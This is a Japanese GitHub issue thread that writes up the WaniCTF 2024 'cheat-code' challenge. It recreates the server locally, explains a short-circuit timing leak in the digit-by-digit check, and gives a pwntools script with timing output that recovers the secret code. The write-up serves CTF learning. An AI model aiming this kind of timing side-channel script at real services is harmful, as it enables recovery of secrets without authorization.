roaris / ctf-log

0 stars 0 forks source link

WaniCTF 2024 : cheat-code #59

Open roaris opened 5 days ago

roaris commented 5 days ago

https://github.com/wani-hackase/wanictf2024-writeup/tree/main/mis/cheat-code

本番で解けなかった問題

roaris commented 5 days ago

server.pyしかないので、動かせない 以下のファイルを用意した

secret.py

flag = 'FLAG{t1m!ng_a774ck_1s_f34rfu1}'
cheat_code = '0123456789'

Dockerfile

# FROM alpine:3.19
FROM alpine@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b

RUN apk add --no-cache socat
RUN apk add --no-cache python3

WORKDIR /
COPY server.py secret.py ./

RUN adduser -DH ctf
USER ctf

CMD socat -dd -v "tcp-listen:7580,reuseaddr,fork" exec:"python3 server.py"

docker-compose.yml

services:
  socket:
    build: .
    restart: unless-stopped
    ports:
      - "7580:7580"

Dockerfileとdocker-compose.ymlは、https://github.com/wani-hackase/wanictf2024-writeup/tree/main/mis/sh/file を見て作成(ほぼコピーしただけ)

roaris commented 5 days ago

server.py

from hashlib import sha256
import os
from secrets import randbelow
from secret import flag, cheat_code
import re

challenge_times = 100
hash_strength = int(os.environ.get("HASH_STRENGTH", 10000))

def super_strong_hash(s: str) -> bytes:
    sb = s.encode()
    for _ in range(hash_strength):
        sb = sha256(sb).digest()
    return sb

cheat_code_hash = super_strong_hash(cheat_code)
print(f"hash of cheat code: {cheat_code_hash.hex()}")
print("If you know the cheat code, you will always be accepted!")

secret_number = randbelow(10**10)
secret_code = f"{secret_number:010d}"
print(f"Find the secret code of 10 digits in {challenge_times} challenges!")

def check_code(given_secret_code, given_cheat_code):
    def check_cheat_code(given_cheat_code):
        return super_strong_hash(given_cheat_code) == cheat_code_hash

    digit_is_correct = []
    for i in range(10):
        digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
    return all(digit_is_correct)

given_cheat_code = input("Enter the cheat code: ")
if len(given_cheat_code) > 50:
    print("Too long!")
    exit(1)
for i in range(challenge_times):
    print(f"=====Challenge {i+1:03d}=====")
    given_secret_code = input("Enter the secret code: ")
    if not re.match(r"^\d{10}$", given_secret_code):
        print("Wrong format!")
        exit(1)
    if check_code(given_secret_code, given_cheat_code):
        print("Correct!")
        print(flag)
        exit(0)
    else:
        print("Wrong!")
print("Game over!")

10桁のsecret_codeを100回以内に当てる ただし、正しいcheat_codeを入力すると、secret_codeを当てなくてもフラグが出てくる 入力したsecret_codeが正しいかのチェックは、各桁毎に比較をして行われる

for i in range(10):
       digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
return all(digit_is_correct)

cheat_codeが正しいかのチェックも各桁毎に行っていて、明らかに不自然である cheat_codeの検証は、SHA-256を繰り返して得られるハッシュ値同士の比較で行われている SHA-256を繰り返す回数は、環境変数HASH_STRENGTHで決まるが、環境変数HASH_STRENGTHが存在しない場合は、10000回である 10000回だとすれば、check_cheat_codeはそこそこ重たい処理になっていると考えられることと、given_secret_code[i] == secret_code[i]がTrueの場合は、短絡評価でcheck_cheat_code(given_cheat_code)は評価されないことから、タイミング攻撃によってsecret_codeを特定することが出来る

roaris commented 5 days ago

1桁目を確定させることを考える 0000000000, 1000000000, 2000000000, 3000000000, 4000000000, 5000000000, 6000000000, 7000000000, 8000000000, 9000000000 を送信した時、このうち1個だけ1桁目が正しく、check_cheat_code(given_cheat_code)が実行される回数が、他の9個に比べて1回少ないため、レスポンスが返ってくるまでの時間が短い 2桁目以降も同様に確定出来る

roaris commented 5 days ago

Pwnの問題ではないが、Pwntoolsを使う

from pwn import *
import time

io = remote('localhost', 7580)
io.recvuntil(b'Enter the cheat code: ')
io.sendline(b'1')
secret_code = ''

for i in range(10):
    times = []

    for d in range(10):
        io.recvuntil(b'Enter the secret code: ')
        test_secret_code = (secret_code + str(d) + '0'*(10-len(secret_code)-1)).encode()

        start = time.time()
        io.sendline(test_secret_code)
        resp = io.recvuntil(b'\n').decode() # Wrong! or Correct!
        end = time.time()
        times.append(end - start)

        if 'Correct!' in resp:
            print(io.recvall().decode())
            exit()

    print(f'iter{i}: {times}')

    min_time = 10**18
    digit = -1

    for d in range(10):
        if times[d] < min_time:
            min_time = times[d]
            digit = d

    secret_code += str(digit)

実行時間を出力するようにしていて、以下のようになった(Correct!が返されたらexitするので、iter9はない) 単位は秒である iter0だと、最も大きい0.10083127021789551と、最も小さい0.08175253868103027で、その差は0.019078731536865234で、19msの差である secret_codeが一致すれば、その分check_cheat_codeが実行される回数が減るので、iterが進むにつれて実行時間が減っている

iter0: [0.10083127021789551, 0.09090948104858398, 0.09269165992736816, 0.09116816520690918, 0.0909872055053711, 0.09105300903320312, 0.08175253868103027, 0.09089279174804688, 0.09172320365905762, 0.09103083610534668]
iter1: [0.08360147476196289, 0.08417963981628418, 0.08172607421875, 0.08350276947021484, 0.07291913032531738, 0.08194661140441895, 0.0819864273071289, 0.08188724517822266, 0.08192777633666992, 0.08313560485839844]
iter2: [0.07439422607421875, 0.07290124893188477, 0.07419729232788086, 0.0637056827545166, 0.0729067325592041, 0.07270240783691406, 0.07396960258483887, 0.07255744934082031, 0.07595181465148926, 0.0741572380065918]
iter3: [0.06506991386413574, 0.0639808177947998, 0.06365180015563965, 0.05483603477478027, 0.06524443626403809, 0.06371617317199707, 0.06386852264404297, 0.06377506256103516, 0.06373333930969238, 0.06380248069763184]
iter4: [0.0585026741027832, 0.05813765525817871, 0.04572796821594238, 0.05455636978149414, 0.054702043533325195, 0.05469465255737305, 0.0546269416809082, 0.054596662521362305, 0.0547640323638916, 0.05481696128845215]
iter5: [0.04596662521362305, 0.045793771743774414, 0.04628491401672363, 0.045656681060791016, 0.04575824737548828, 0.037362098693847656, 0.045629024505615234, 0.045723676681518555, 0.04567551612854004, 0.045763492584228516]
iter6: [0.036955833435058594, 0.036963462829589844, 0.0366663932800293, 0.036653757095336914, 0.03662538528442383, 0.036647796630859375, 0.02763056755065918, 0.036585330963134766, 0.0366361141204834, 0.03670191764831543]
iter7: [0.02770686149597168, 0.030801057815551758, 0.029534339904785156, 0.019149303436279297, 0.027912139892578125, 0.027565956115722656, 0.027600765228271484, 0.02765178680419922, 0.027586698532104492, 0.027618408203125]
iter8: [0.018662214279174805, 0.02167534828186035, 0.019889116287231445, 0.019176959991455078, 0.03833794593811035, 0.02192211151123047, 0.010042190551757812, 0.018992185592651367, 0.018605470657348633, 0.0186004638671875]

毎回成功するわけではなく、2回に1回ぐらいの頻度で成功する 今回はローカルで解いたが、リモートに対して解く場合は、リモートとの通信によって実行時間に誤差が生じ、成功する頻度はより少ないだろう